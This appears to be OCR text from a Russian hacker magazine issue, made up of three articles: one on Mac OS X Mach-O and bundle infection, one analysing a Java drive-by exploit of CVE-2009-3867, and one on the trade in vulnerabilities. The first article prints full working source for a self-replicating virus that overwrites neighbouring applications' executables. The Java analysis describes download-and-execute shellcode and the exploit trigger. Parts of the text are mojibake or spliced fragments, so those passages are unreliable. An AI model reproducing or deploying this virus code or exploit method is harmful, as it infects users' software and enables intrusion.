OS до 10-й, Mac OS X) просуществовала довольно долго: от 
выпуска первой версии в 1984 до появления первой десктоп-
ной версии Mac OS X в марте 2001. За это время было создано 
немало вредоносного программного обеспечения, включая 
достаточно опасные вирусы, такие как, например, nVir, появив-

шийся в 1987 году и создавший маководам немало проблем. 
Ситуация еще более усложнилась после публикации исходников 
этого виря, поскольку появилось множество его модификаций. 
Все они поражали бинарные исполняемые файлы Mac OS, патча 
таблицу переходов жертвы.
Конечно, Apple не осталась в стороне, и в систему были внесены 
некоторые изменения, ограничивающие возможности распро-

Ìíîãî ëè òû ñëûøàë î âèðóñàõ â Mac OS X? À âåäü îíè åñòü. Ñðåäè âèðåé, 
òðîÿíîâ è ïðî÷åé íå÷èñòè, ñîçäàííîé äëÿ ýòîé ïëàòôîðìû, ïîñòîÿííî 
ïîÿâëÿþòñÿ íîâûå ýêçåìïëÿðû. Êàê îíè ðàáîòàþò? Êàêèå óÿçâèìîñòè 
ñèñòåìû èñïîëüçóþò? Íà ýòè âîïðîñû ìû è ïîïûòàåìñÿ îòâåòèòü.

ÑÎÂÐÅÌÅÍÍÀß ÌÀËÂÀÐÜ ÄËß MAC? ÍÅ ÌÈÔ, À ÏÐÀÊÒÈÊÀ!
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странения malware. Может быть, наиболее значимым был отказ 
от технологии автозапуска с CD. В настоящее время autorun’ы не 
поддерживаются в Mac OS X ни для съемных носителей, ни для 
компакт-дисков. 
Стоит сказать, что Apple активно закрывает дыры в Mac OS X и 
сейчас. Совсем недавно вместе с очередным апдейтом системы 
были изменены права доступа к папке /Applications. До этого 
файлы в ней могли быть изменены любым юзером. Так что код 
вируса, исполняющийся от имени пользователя, мог свободно 
заражать приложения в этой папке. А в ней сидят такие часто 
используемые проги, как iTunes или iMail.
C ростом популярности продукции Apple растет и внимание злов-
редописателей к этой платформе. Ведь чем больше пользовате-
лей у системы, тем больше простор для их поделок. Во многом 
эта ситуация подогревается просто-таки фанатичным неверием 
большинства пользователей Mac OS X/iOS в уязвимость своей 
системы. 
Так, например, какое-то время по интернету ходил jpg-файл c 
исполняемым файлом Mac OS X внутри. Finder Mac OS X не пока-
зывает расширения файлов. 
Поэтому счастливый пользователь кликал на картинку, запуская 
вредоносное приложение, а особо удачливые даже вводили 
админский пароль для повышения привилегий, когда некоторые 
модификации этого трояна его запрашивали.
В общем, малварь на маках есть, и она активно размножается. 
Чтобы понять, какие особенности системы эксплуатируются, рас-
смотрим в деталях, что же такое 
представляют из себя исполняемые файлы Maс OS X, и как 
зловредам удается их заражать, заставляя систему выполнять 
свой код.

Mach-O формат
Mach-О — это формат исполняемых, объектных файлов и дина-
мических библиотек в Mac OS X. Возник он как замена устарев-
шему a.out. Изначально этот формат 
использовался в ядре Mach (было такое микроядро, вроде и 
сейчас энтузиасты четвертую версию допиливают). Позже он 
перекочевал в NeXTSTEP. Ну а Mac OS X,которая возникла как 
логическое продолжение развития системы NeXTSTEP, уна-
следовала этот формат от нее. Кстати, GNU/Hurd, которая также 

выросла из Mach, использует привычные линуксовские ELF’ы, а 
не Mach-Object’ы.
Mach-О файлы чем-то напоминают попсовые PE, но при этом 
они имеют множество оригинальных решений. Так, напри-
мер, эти бинарники могут содержать код сразу для несколь-
ких платформ. Скажем, для процессоров PowerPC и Intel. ОС 
сама выберет машинный код, который следует исполнять. 
Хотя PowerPC-машины уже не так популярны, в компилято-
рах от Apple до сих пор есть опция, позволяющая генерить 
код под эту платформу. Мы здесь будем рассматривать только 
файлы для Intel’овских процессоров, так что если у тебя под 
рукой каким-то чудом оказался PowerBook, придется курить 
маны самостоятельно.
Формат Mach-O является открытым (в отличие, например, от того 
же PE, тщательно и тщетно оберегаемого Microsoft). Вся инфор-
мация по этому формату может быть найдена на официальном 
сайте Apple. Более того, описания основных структур доступны 
в стандартных заголовках (например loader.h), что значительно 
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экономит время при создании тулов, работающих с Mach-O. Итак, 
файлы этого формата содержат три основных раздела:
• В самом начале располагается заголовок Mach-O файла, кото-
рый содержит базовую информацию о нем. Например, целевую 
аппаратную платформу. Сразу скажу, 
что числа в файле хранятся в формате целевой платформы. То 
есть, если это Intel — то uint32 так и лежит в Little Endian.

Структура заголовка Mach-O из loader.h

struct mach_header

{

 uint32_t  magic; // ïðèçíàê Mach-O

 cpu_type_t cputype;

 cpu_subtype_t cpusubtype;

 uint32_t filetype;

 uint32_t ncmds; // ×èñëî êîìàíä çàãðóçêè

 uint32_t sizeofcmds; // è èõ ðàçìåð

 uint32_t flags;

};

• За заголовком следуют команды загрузки. Число и размер их 
указаны в заголовке. Команды эти бывают различных типов и 
выполняются загрузчиком при подготовке процесса к исполне-
нию. Основные команды, о которых имеет смысл здесь говорить, 

это «LC_SEGMENT» и «LC_UNIXTHREAD». Первая предназначена 
для инициализации области виртуальной памяти и позволяет 
устанавливать атрибуты ее страниц, а также подгружать в них 
данные из файла. Каждый сегмент может состоять из нескольких 
секций, которым соответствуют непрерывные участки файла. А 
команда «LC_LINUXTHREAD» создает поток со стеком и инициа-
лизирует регистры процессора для него. В том числе инициа-
лизирует она и IP, задавая точку входа для этого потока. Кстати, 
насколько я знаю, IDA до сих пор не умеет определять реальную 
точку входа Mach-O, а просто принимает за нее первую команду в 
сегменте кода. Учитывая, что именно IDA используется вирусны-
ми аналитиками чаще всего, этот недостаток на руку вирусописа-
телям.

Описание LC_SEGMENT из loader.h

struct segment_command

{

 uint32_t cmd;    // Id êîìàíäû

  uint32_t cmdsize; // È åå ðàçìåð (âìåñòå ñ Id)

  char segname[16]; // Íàïðèìåð «__TEXT»

  uint32_t vmaddr;  // Íà÷àëî ñåãìåíòà â VM

  uint32_t vmsize; 

  uint32_t fileoff; // Ñìåùåíèå äàííûõ ñåãìåíòà

  uint32_t filesize;
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#import <Cocoa/Cocoa.h>

int main(int argc, char *argv[])

{

 // Äàäèì î ñåáå çíàòü

 NSLog(@"!!!!!!!!!!!!!!!!!!!!!");

 NSLog(@"!!!   I’m here   !!!!");

 NSLog(@"!!!!!!!!!!!!!!!!!!!!!");

 NSFileManager * fm = 

   [NSFileManager defaultManager];

 // Ïàïêà íàøåãî áàíäëà

 NSString * bundle_fldr = 

   [[NSBundle mainBundle] bundlePath];

 // Ïàïêà, â êîòîðîé ëåæèò íàø app

 NSString * our_fldr = 

   [bundle_fldr stringByAppendingString: @"/.."];

 // Èìÿ òåêóùåãî áèíàðíèêà

 NSString * current_executable = 

   [[NSDictionary dictionaryWithContentsOfFile: 

     [bundle_fldr stringByAppendingString: 

       @"/Contents/Info.plist"]] objectForKey: 

        @"CFBundleExecutable"];

 // Ñïèñîê íàøèõ ñîñåäåé :)

 NSArray * apps = 

  [[fm directoryContentsAtPath: our_fldr] 

    filteredArrayUsingPredicate: 

     [NSPredicate predicateWithFormat:

      @"self ENDSWITH '.app'"]];

  

  for (NSString * app in apps){

    if (

       [fm fileExistsAtPath: 

        [our_fldr stringByAppendingFormat: 

          @"/%@/Contents/MacOS/old", app]]

       ) 

 continue; // Òóò ìû óæå êîãäà-òî áûëè

    

    NSDictionary * plist_dict = 

      [NSDictionary dictionaryWithContentsOfFile: 

        [our_fldr stringByAppendingFormat: 

         @"/%@/Contents/Info.plist", app]];

    

    NSString * app_executable = 

       [plist_dict objectForKey: @"CFBundleExecutable"];

   // Ïåðåèìåíóåì áèíàðíèê ïðèëîæåíèÿ-æåðòâû  

   [fm moveItemAtPath: 

    [our_fldr stringByAppendingFormat: 

      @"/%@/Contents/MacOS/%@", app, app_executable] 

        toPath:[our_fldr stringByAppendingFormat: 

          @"/%@/Contents/MacOS/old"] error: nil]; 

 

    // È çàïèñûâàåì ñåáÿ íà åãî ìåñòî    

   [fm copyItemAtPath: 

      [bundle_fldr stringByAppendingFormat: 

         @"/Contents/MacOS/%@", current_executable] 

   toPath: [our_fldr 

            stringByAppendingFormat: 

              @"/%@/Contents/MacOS/%@" , app, 

              app_executable] 

       error: nil];

   }

   // Ïåðåäàåì óïðàâëåíèå îðèãèíàëüíîìó ôàéëó 

   system([[[[NSBundle mainBundle] bundlePath] 

       stringByAppendingString: 

         @"/Contents/MacOS/old &"] cString]);

}

КОД ВИРУСА, ЕДИНСТВЕННЫЙ СМЫСЛ ЖИЗНИ КОТОРОГО — РАЗМНОЖЕНИЕ :)



>> coding

 071XÀÊÅÐ  02  (145)  2011

  vm_prot_t maxprot;

  vm_prot_t initprot;

  uint32_t nsects; 

  // ×èñëî ñåêöèé â ýòîì ñåãìåíòå

  uint32_t flags;   // Àòðèáóòû ñòðàíèö ïàìÿòè

};

struct section

{

 char sectname[16]; // Òóò âñå ïîíÿòíî

  char segname[16]; 

  uint32_t addr;

 uint32_t size;

  uint32_t offset; // Ñìåùåíèå ñåêöèè â ôàéëå

  uint32_t align;

  uint32_t reloff;

  uint32_t nreloc;

  uint32_t flags;

 uint32_t reserved1;

 uint32_t reserved2;

};

• За командами загрузки следует собственно тело модуля: код, 
данные, таблица переходов и так далее Получить подробную 
информацию о заголовках и командах загрузки для бинарника 
можно с помощью утилитки otool (очень полезная, на мой взгляд, 
штука — много чего умеет). Каждый Mach-O сегмент, как видно 
из описания структуры, имеет имя. Так код программы будет рас-
полагаться в сегменте «__TEXT», а данные — в сегменте с именем 
«__DATA».  

Бинарный инжект
Зная, что собой представляет исполняемый файл Mac OS X, попробу-
ем разобраться, как можно встроить свой код в собранный бинарник 
Mac OS X. Подкорректировав значение регистров в команде «LC_
LINUXTHREAD», можно изменить точку входа, если это будет нужно. 
Ну а как разместить сторонний код в Mach-O файле? Естественное 
желание — добавить еще одну секцию к сегменту «__TEXT», в конец 
файла дописать свой код и загрузить его в добавленной секции. 
Меняем точку входа на начало нашей секции в виртуальной 
памяти и... кажется, тут есть одно «но». Придется парсить все 
команды загрузки и определять свободную область виртуалки, 
в которую мы можем загрузить свою секцию. Может получиться 
так, что свободного пространства будет еще и недостаточно, ведь 
сразу за сегментом кода, как правило, следуют данные, а переме-
щать сегменты — это уже задачка посложнее. В принципе, такой 
подход можно воплотить в жизнь, но это достаточно трудоемко. 
Фактически нужно реализовывать в вире немалую часть работы 
загрузчика. Есть ли реальные вири, которые так поступают, я не 
знаю. 
Кроме сегментов «__TEXT» и «__DATA» есть еще «__PAGEZERO», 
чтение и запись в который запрещены, и располагается он в 
виртуальной памяти процесса по нулевому адресу. Создается 
этот сегмент, состоящий всего из одной страницы, специ-
ально, чтобы разыменование нулевого указателя приводило к 
исключению. Вообще сегмент этот опционален, но реальный 
бинарник, в котором его бы не было, мне не попадался. Для 
сегмента «__PAGEZERO» fileoffset и filesize равны нулю. То есть, 
данными из файла он не инициализируется. Однако, если ты 
поменяешь эти значения, то, дописав в конец файла свой код, 
можешь подгрузить его в нулевую страницу виртуалки. Изменив 
атрибуты доступа к памяти сегмента «__PAGEZRERO» и поме-
тив ее как исполняемую (подняв R- и X-биты), а также изменив 
«LC_LINUXTHREAD», можно заставить свой код исполняться при 
старте приложения. Так, видимо, и было еще пару лет назад. 
Во всяком случае, в сети можно найти статьи с конференций 
BlackHat, описывающие эксплуатацию этой уязвимости. Но, 
когда я пытался проделать подобный трюк, как только я поме-
чал память исполняемой, она вместо инициализации из файла 
заполнялась мусором.
В других случая код успешно загружался в нулевую страницу, но 
попытка его исполнить ни к чему хорошему не приводила. В общем, с 
наскока вписаться в произвольный Mach-O не так легко, как кажется.
Пожалуй, еще об одном способе я не сказал. Если есть достаточно 
большие пустоты в конце секций кода (из-за выравнивания на 4K для 
оптимизации маппинга в страницы памяти), то можно попытаться  в 
них разместить свои фрагменты кода. Но гарантии, что у тебя в рас-
поряжении будет достаточно неиспользуемого пространства, никто 
не даст. Можешь потренироваться с написанием компактного кода на 
досуге :), а мы рассмотрим более простые способы.

Бандлы Mac OS X
Если в виндах ресурсы лежат прямо в экзешнике, то в Mac OS X при-
ложения организованы в так называемые бандлы (baundles).
Бандл — это дерево каталогов с определенной структурой, в которых 
располагаются исполняемые файлы, метаданые приложения и его 
ресурсы.  Для пользователя в Finder’е бандл выглядит единым эле-
ментом, кликнув по которому, юзер может запустить приложение. 
Можно видеть, что бандл — это каталог с расширением .app, в кото-
ром таится  папка Contents. А в папке Frameworks, как нетрудно 
догадаться, лежат фреймворки, которые поставляются вместе с при-
ложением. Кстати, фреймворки (аналоги dll’ек) тоже организованы в 
бандлы. В папке MacOS лежат бинарники уже знакомого тебе формата 
Mach-O, а в ресурсах (папка Resources) всякие иконки, звуки и так 
далее. В файле Info.plist находится описание приложения.
Вот его пример:

Структура каталогов в бандле
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<?xml version=»1.0» encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"

   "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

 <key>CFBundleDevelopmentRegion</key>

 <string>English</string>

 <key>CFBundleExecutable</key>

 <string>Demo</string>

 <key>CFBundleIconFile</key>

 <string></string>

....

 <key>NSMainNibFile</key>

 <string>MainMenu</string>

 <key>NSPrincipalClass</key>

 <string>NSApplication</string>

</dict>

</plist>

Это — обычный xml-файл, читать и изменять его довольно 
легко. Однако в Mac OS X существуют специальные утилиты и 
библиотеки для работы с файлами этого формата. Нас здесь 
интересует поле CFBundleExecutable. Это — имя бинарника из 
папки MacOS. При запуске приложения именно ему будет пере-
дано управление. Так что, если кто-то захочет заразить бандл, 
то делается это достаточно просто. Нужно подменить файл, на 
который ссылается CFBundleExecutable, а старый переимено-
вать, чтобы иметь возможность выполнить его, когда все твои 
дела будут закончены. В общем «просто праздник какой-то», и 

с сегментами возиться не нужно. А еще недавно, когда доступ 
к папке /Applications был открыт, код, исполняемый от имени 
непривилегированного пользователя, свободно мог таким нехи-
трым способом заражать большинство приложений Mac OS X! 
Сейчас для этого нужно поднять привилегии с помощью, напри-
мер, вызова AuthorizationCreate из Security-фреймворка. 
Но, как уже было сказано, пользователям Mac OS X вообще 
свойственна вера в совершенство продукции Apple и невозмож-
ность существования малвари под нее, поэтому не исключено, 
что юзер согласится и на админскую авторизацию.

Кодим бандл-вирь
Напишем для примера небольшой вирь, который демонстрирует 
возможность заражения бандла с подменой исполняемого при 
запуске файла.
Поступим следующим образом: просмотрим все приложения, 
что лежат в одной папке с нашим вирем, положим вместо ори-
гинального исполняемого файла свой, а старый переименуем в 
«old», и, когда все будет закончено, передадим управление ему. 
Полный код примера ты сможешь увидеть на соответствующей 
врезке.

Outro
Мой вирь, как ты легко можешь убедиться, работает и заражает 
приложения, которые находятся с ним в одной папке. Открытая 
структура приложений в Mac OS X делает их уязвимыми, но, как 
и в любой *nix-системе, одним из главных орудий борьбы со 
зловредами в Mac OS X является правильное распределение 
прав в файловой системе. Удачного компилирования! z
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Дело в том, что они реально существуют, а внимания им уделя-
ется довольно мало. По статистическим данным ЛК, в настоящее 
время их очень и очень много в интернете.
А как же они распространяются и почему приобрели популяр-
ность? Основной способ их доставки до пользователя — загруз-
ки drive-by. Напомню, что загрузка drive-by — это метод, который 
позволяет малварописателям запустить на компьютере жертвы 
конечную малварь при помощи целой цепочки вредоносов, рас-
положенных в вебе. В эту цепочку входит редиректор, скрипто-
вый загрузчик и эксплойт. Как правило, последний загружает 
какой–нибудь бэкдор или троянец, ворующий конфиденциаль-
ные данные. А стали они популярны, по-видимому, из-за того, 
что были открыты критические уязвимости, с помощью которых 
можно легко загрузить файл по ссылке и исполнить его. Рост 
популярности платформы Java по всему миру также сыграл не 
последнюю роль. В качестве экземпляра для разбора я выбрал 

Java–загрузчик, работающий на основе эксплойта, использую-
щего уязвимость CVE-2009-3867. Может показаться, что раз уж 
эта дыра не свежая, то и угроза совсем не актуальная. Однако 
это не так — самые последние даунлоадеры на JavaScript скачи-
вают именно такую Java–малварь. По-видимому, пользователи 
не спешат апдейтить JRE…
Для начала разберем, как же наш зверек запускается. Или что 
его запускает. В подавляющем большинстве случаев  это дела-
ет html–страничка или скрипт, генерирующий html-код. Чтобы 
установить и запустить Java–апплет, применяются тэги <applet> 
или <object>. Основные параметры первого тэга это archive 
(указывает на местоположение jar–архива) и code (указывает 
на Ява-класс, который следует запустить). Данные из html’ки 
в апплет можно передавать с помощью тэга <PARAM>. Далее, 
при разборе самого зловреда, я покажу, как используются дан-
ные ‘data’, передаваемые в рассматриваемой страничке. Для 

Âî âñåõ ìîèõ ïðåäûäóùèõ ñòàòüÿõ ðàçáèðàëèñü PE–ôàéëû, ïîýòîìó ÿ 
ðåøèë íåñêîëüêî ðàçíîîáðàçèòü ðóáðèêó è ñäåëàòü îáçîð âðåäîíîñà, 
íàïèñàííîãî íà Java. Ïî÷åìó èìåííî íà Java?
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наглядности я отметил все описываемые вещи на скриншоте. А 
именно:

• archive='tmp/pul.jar'
• code='dev.s.AdgredY'
• <param name='data' VALUE='http://****.com/
s4/l.php?...

Итак, jar–файл запустился. Как же его теперь разбирать? Как 
вообще устроены Java–программы? Сам jar–файл — всего лишь 
ZIP-архив, он является контейнером. Его можно распаковать 
при помощи практически любого архиватора, что я и сделал. 
Внутри него содержатся class–файлы. А это и есть то, что нас 
интересует — скомпилированные Java-исходники. Распаковав 
контейнер, получаем три таких класса и манифест. Я сразу обра-
тил внимание на AdgredY.class, вспомнив, что параметр code 
тэга <applet> содержит именно это значение. Кстати, как заметит 
внимательный читатель, там содержится dev.s.AdgredY, а не про-
сто AdgredY. Все дело в том, что точки представляют собой раз-
делитель между папками. Таким образом, интерпретатор, обра-
батывая тэг, запомнит, где находится необходимый ему класс, 
преобразуя переменную в путь на диске.
Так как .class — скомпилированный объект, содержащий байт-
код, нам необходимо превратить его в то, что можно анализиро-
вать. Я использовал бесплатный Java–декомпилятор JAD. Как ни 
странно, но у меня ушло немало времени, чтобы скачать его из 
интернета (притом, что он является наиболее популярной про-
граммой для этих целей, которая, к тому же, ничего не стоит). 
Применив его на AdgredY.class, на выходе я получил декомпили-
рованный, практически исходный, код. Открыв полученный файл 
в Hiew, я сразу же заметил две большие строки, состоящие из 
символов соответствующих байтов шестнадцатиричной системы 
исчисления. 
По-видимому, это шеллкоды, но что–то начальные байты уж 
очень странные! Например, преобразовав последовательность 
A000CA469F в инструкцию, я получаю mov al, [0x9F46CA00]. 
Адрес располагается в пространстве ядра ОС Windows и обра-
щение к нему из третьего кольца вызовет исключение. Весьма 
сомнительно, что так оно и задумывалось.
Что ж, скачаем бесплатную графическую среду для разработки 
Java–приложений NetBeans — она прекрасно подходит и для 
отладки. После небольших танцев с бубном я создал проект, и 
в результате мне удалось заставить отрабатывать полученный 
декомпилированный файл. Для этого пришлось аккуратно пере-
носить данные из декомпилированного файла, модифицируя 
их. Отлаживая код, я сходу обнаружил его замусоривание. 
Во–первых, это инициализация произвольных строковых пере-
менных, которые не используются в дальнейшем. На скриншоте 
видны такие строки — это s2, s4, s8 и так далее. А вот строка 
s3 хоть и кажется трэшевой, но это не так. Пройдя чуть ниже 

по сорцу, видим, что переменная s5 получается из s3 путем ее 
«переворачивания задом наперед», что реализуется методом 
reverse. Таким образом, из atad получается data (Гурд не хочет 
делать кривые зеркала! Позовите Абажа и Апулаза! — прим. 
ред.). В данном сэмпле все используемые строковые пере-
менные получаются именно таким образом. А это и есть второй 
метод, усложняющий анализ и понимание кода. Безымянные 
идентификаторы также не добавляют скорости анализа. Мне все 
время приходилось возвращаться к начальной функции, чтобы 
посмотреть, что такое s21, s25 и так далее.
Далее, анализируя код, я натыкаюсь на вызов функции 
getParameter со значением data в качестве аргумента. Ее роль, 
как можно понять из названия, заключается в выдаче значе-
ния соответствующей переменной, которое было указано в тэге 
<PARAM> html-документа. Я упоминал об этом в начале статьи. 
Как видно из первого скриншота, там содержится некий url.
Выглядит он следующим образом: «http://********.com/s4/l.
php?deserialize=ee&i=». Таким образом, в php’шку, вероятно, 
передаются два параметра: deserialize, со значением ee и 
пока что пустое i. Весьма любопытно, что дальше проверяет-
ся соответствие адреса до вопросительного знака и значение 
deserialize. Делается это следующим образом:

String s27 = getParameter(“data”);

char ac[] = {‘?’};

int i = 0;

int j = 0;

for(; s27.charAt(i) != ac[0]; i++)

    j += s27.charAt(i);

j += 7;

j %= 256;

String s28 = Integer.toHexString(j);

if(s27.indexOf((new StringBuilder()).append(

    "deserialize=").append(s28).toString()) == -1)

  return;

Как видно из кода, на основе строки до знака ? производится 
подсчет контрольной суммы, которая сравнивается со значением 
первого аргумента. В случае неудачи зловред прекращает свою 
деятельность.
После этого происходит получение текущей версии Java, в зависи-
мости от которой выбираются разные шелл-коды. Кстати, шелл-код 
также подвергается «реверсу», к нему приклеивается URL, про 
который я писал в предыдущем абзаце, и в дальнейшем преобра-
зуется в последовательность байтов. Помимо этого в конец адреса 

Рис. 2 Фрагмент декомпилированного AdgredY.class

Рис. 3 Работа с декомпилированным AdgredY.class под 
отладчиком

Рис. 1 Фрагмент скриптового загрузчика, который запускает злой Java–апплет
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добавляется число, так что параметр i не остается пустым. Все это 
логично завершается вызовом уязвимой функции getSoundBank. 
Ей в качестве аргумента передается специально сформированный 
адрес (см. рис. 4).
Текущая версия Java запрашивается с помощью System.
getProperty (java.version). Генерируемый url, как видно из иллю-
страции, заполняется целой кучей слэшей и дополняется стро-

кой Z%Z%Z%Z%Z%Z%. А предваряется он префиксом «Ошибка! 
Недопустимый объект гиперссылки!». Суть эксплойта заключается в 
передаче функции getSoundBank адрес именно такого вида, чтобы 
это впоследствии вызвало выполнение шеллкода.
А теперь перейдем непосредственно к машинному коду, который 
будет осуществлять вредоносную деятельность. Как я уже писал, 
шеллкод специально подготавливается и располагается в памя-
ти определенным образом. Также не забываем, что он содержит 
дополненный url, который извлекается из поля data тэга <PARAM>.
Написав небольшую программку на C, я в итоге скинул весь код на 
диск для последующего разбора. Чтобы можно было удобно с ним 
играться в IDA, я «вклеил» шеллкод в goat-файл. На картинке (рис. 
5) можно посмотреть, что у меня в конечном счете получилось.
Видны названия импортируемых библиотек и функций, а также 
url, с которого будет выполняться загрузка. Среди функций самый 

большой интерес представляют URLDownloadToFile и WinExec. Сам 
код оказался крайне неинтересным и банальным.
Вначале из PEB’а извлекается адрес модуля kernel32. Затем в 
нем производится поиск точек входа функций LoadLibraryA и 
GetProcAddress, с помощью которых получаются адреса библиотеки 
urlmon.dll и функций GetTempPathA, WinExec, URLDownloadToFileA. 
Ну и завершающий этап — скачка файла, его сохранение на диске 
и запуск. Вот это, собственно, и есть та составляющая, ради которой 
мастерился рассматриваемый зловред.
И это не PoC, а действительно полноценная малварь, которая 
защищается от анализа и детектирования. В рассматриваемом 
сэмпле применялись фэйковые строки, произвольные идентифи-
каторы преобразования строк.
А что же со вторым шелл-кодом, на который я обратил внимание 
в самом начале? Оказывается, в зависимости от версии Java при-
меняется либо один, либо другой машинный код. Со вторым все 
аналогично — подвергается «реверсу», дополняется данными из 
html-странички и исполняется после вызова уязвимой функции.

Заключение
На этом я заканчиваю обзор Java–загрузчика. Подводя итоги, можно 
сказать, что в настоящее время зловреды на Ява — не редкость. 
Стоит отметить, что этот сэмпл ходит не отдельно, а выполняет 
определенную роль в загрузках drive-by. Это очевидно, учитывая, что 
апплет взаимодействует со страничкой, на которой он расположен. 
Также любопытна проверка корректности url и параметра. Если 
отбросить некоторые ухищрения, описанные выше, то в сухом остат-
ке мы имеем эксплойт, использующий уязвимость. В нашем примере 
это вызов функции getSoundBank со специфичным аргументом. 
Шелл-код, непосредственно осуществляющий «полезную нагруз-
ку» в виде скачивания и запуска другого файла, оказался крайне 
неинтересным. Он ничем не отличается от своих собратьев, присут-
ствующих в pdf’ках, javascript’ах и так далее. Как оказалось, важно 
обновлять не только Windows и продукты Adobe, а еще и виртуаль-
ную машину Java. z

Рис. 4 Фрагмент декомпилированного AdgredY.class, содержащий вызов уязвимой функции

«Zeus áûë óëè÷åí â áîëüøîé 
ëþáâè ê ðîññèéñêèì 
ñèñòåìàì äèñòàíöèîííîãî 
áàíêîâñêîãî îáñëóæèâàíèÿ 
(ÄÁÎ)»

Рис. 5 Фрагмент goat-файла, содержащего шеллкод, выдранный из Java-вредоноса



Лицевая 
сторона медали
Баг, дырка, уязвимость, сплойт — ох уж эти 
милые хакерскому сердцу слова! Однако, 
оказывается, милы они отнюдь не только 
хакерам, тестерам и иже с ними — еще сущес-
твуют люди, зарабатывающие на этих самых 
дырах немалые деньги.
Для начала позволь рассказать тебе о ле-
гальной стороне вопроса, то есть об офици-
альном, «белом» рынке. Сформировался он 
давно, явление это отнюдь не новое. Чтобы 
понять почему, достаточно задаться вопро-
сами: «Когда компьютеры обрели широкую 
популярность и стали массовым явлени-
ем?», «Как давно появились такие понятия, 
как софт и дыра?» Примерно одновременно 
с этими событиями совершенно законо-
мерно зародился рынок по поиску, купле и 
продаже уязвимостей. Спрос, как известно, 
рождает предложение.
На сегодняшний день крупных игроков в 
этом бизнесе насчитывается немало. Кто 
вообще заинтересован в покупке уязви-
мостей? Это правительственные агентства, 
поставщики разных коммерческих тулзов, 
крупные пентестерские и консалтинговые 
компании, частные лица и многие другие. 
Если говорить об известных и уже зареко-
мендовавших себя в этой области именах, 
то, пожалуй, в качестве примера можно 
привести такие компании, как iDefense, 
SnoSoft и VUPEN. 
Назвать конкретные цены на разные дыр-
ки, к сожалению, не представляется воз-

можным, потому как цена здесь определя-
ется совокупностью множества факторов. К 
примеру, ты нашел дырку в IE, сколько она 
стоит? Цена спокойно может колебаться от 
$5 000 до $250 000, ведь на стоимость бага 
влияет все: насколько широко распро-
странено «дырявое» приложение, много 
ли людей знает об уязвимости, насколько 
сложно было найти баг. Не менее важны и 
другие нюансы, которых насчитываются де-
сятки — например, включено ли приложе-
ние по дефолту в состав ОС, найден ли баг 
в серверной части приложения или в кли-
ентской, требуется ли аутентификация для 
использования дырки, хорошо ли файрво-
лы справляются с защитой уязвимой соф-
тины, потребуется ли для работы эксплойта 
«помощь» пользователя и так далее, и тому 
подобное. Многие из этих пунктов входят в 
стандартный «опросный лист» компаний-
покупателей.
Итак, давай представим, что ты нашел баг. 
Куда с ним бежать? Вероятно, я тебя огорчу, 
но по-быстрому сбыть дыру с рук и получить 
за нее деньги вряд ли получится. Во всяком 
случае, легально. Законная продажа в 
среднем занимает от одного до четырех ме-
сяцев, а иногда этот процесс растягивается 
и на более длительный срок. 
Для начала нужно понять, сколько стоит 
твоя находка и кому можно выгодно ее про-
дать. Дело в том, что сами производители 
софта редко покупают баги. Нет, конечно, 
ты наверняка слышал о том, что в Mozilla 
готовы заплатить $3 000 за баги в Firefox, 

а Google за уязвимости в своем браузере 
Chrome согласен раскошелиться на $3 
133.70 (1337 — это слово elite, написанное 
литспичем). Но это скорее исключение из 
правил и PR-ход, нежели распространен-
ная практика. 
Те, кто серьезно готов покупать дырки, 
перечислены выше. Но и здесь все далеко 
не так гладко, как кажется. Ведь зачастую 
просто взять и выложить всю информацию 
о баге покупателю тоже нельзя, особенно 
если баг новенький, «перспективный» — 
есть риск остаться и без информации, и без 
денег. Таким образом получается, что даже 
правильно описать и преподнести свою 
уязвимость, не выдав ее с потрохами, это 
уже целая наука. 
Крупные игроки рынка, скупающие уяз-
вимости и эксплойты, вообще имеют для 
покупки багов собственные специальные 
программы, такие как Zero Day Initiative 
(zerodayinitiative.com) от Tripping Point, 
Snosoft program (snosoft.blogspot.com) 
или iDefense Vulnerability Contributor 
Program. Чаще всего в рамках таких 
проектов применяется схема «сначала баг, 
потом деньги». То есть, ты будешь обязан 
предоставить всю информацию покупателю 
до совершения сделки. 
Если такой расклад тебя не устраивает, ты 
уверен, что твой баг ценен и по каким-то 
причинам не хочешь обращаться к «бары-
гам-перекупщикам», можешь попробовать 
подыскать покупателя сам. Но будь готов к 
долгим мытарствам и привлечению к сдел-

СЦЕНА
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ке третьих сторон в качестве посредника. 
Кстати, последнее бывает актуально даже 
для черного рынка: ведь, как уже было 
сказано, грамотно описать, преподнести 
и уж тем более продемонстрировать свою 
уязвимость покупателю — не самая простая 
задача. Многие предпочитают подстрахо-
ваться. 

Обратная 
сторона медали
Как верно отметил Крис Касперски, с кото-
рым мы обсуждали этот вопрос: «Торговать 
дырами закон не запрещает». Это чистая 
правда, разве что в некоторых странах 
установлены определенные запреты — в 
Германии, например, свобода действий в 
этой области несколько ограничена.
Если в былые времена одной из основных 
мотиваций искателей багов были престиж 
и крутость, то на сегодня основной дви-
жущей силой, конечно, являются деньги. 
Фактически у специалиста по компьютер-
ной безопасности или у хакера есть мно-
жество вариантов поведения после того, 
как он нашел баг. Можно честно сообщить 
о нем разработчику, можно выложить его 
на всеобщее обозрение, можно добавить 
красивую строку в свое резюме, а можно 
и продать. Легально или не очень. И вот 
именно жажда наживы и приводит нас 
к одному очень забавному аспекту этого 
рынка — зачастую уязвимости продаются 
не по одному разу. 
Основные покупатели дырок — это средне-
го размера компании, работающие в сфере 
IT-безопасности. С частными лицами 
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Настоящий рассадник багов 

Вот таким скромным сайтом встречает интересующихся один из 
крупнейших игроков рынка уязвимостей — iDefense
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они практически никогда не работают 
— репутация дороже. Купля-продажа у 
них происходит, так сказать, на верхнем 
уровне — юр. лицо с юр. лицом. Однако 
основные открыватели дыр — это именно 
что физические лица, причем откровенные 
хакеры-ломатели. Для посредничества 
между первыми и вторыми нужны конторы 
типа iDefense. Но вот незадача — про-
контролировать хакеров-ломателей все 
же весьма проблематично :). Допустим, 
человек нашел эксклюзивную инфу о некой 
дырке и продал ее кому-то из крупных 
скупщиков. А потом посидел, подумал и по-
тихому перепродал ее еще раз. И что с ним 
делать? Не убивать ведь. Да, ты, конечно, 
скажешь, что во избежание такого доста-
точно просто прописать соответствующий 
пункт в контракте, но не спасает и это. Даже 
если контракт предусматривает полное 
удаление продавцом всей информации 
о дыре или эксплойте после совершения 
сделки, а также подразумевает передачу 
всех прав на эту информацию покупателю, 
стереть информацию о находке у продавца 

из головы, увы, невозможно. Нет никаких 
гарантий, что он потом не восстановит 
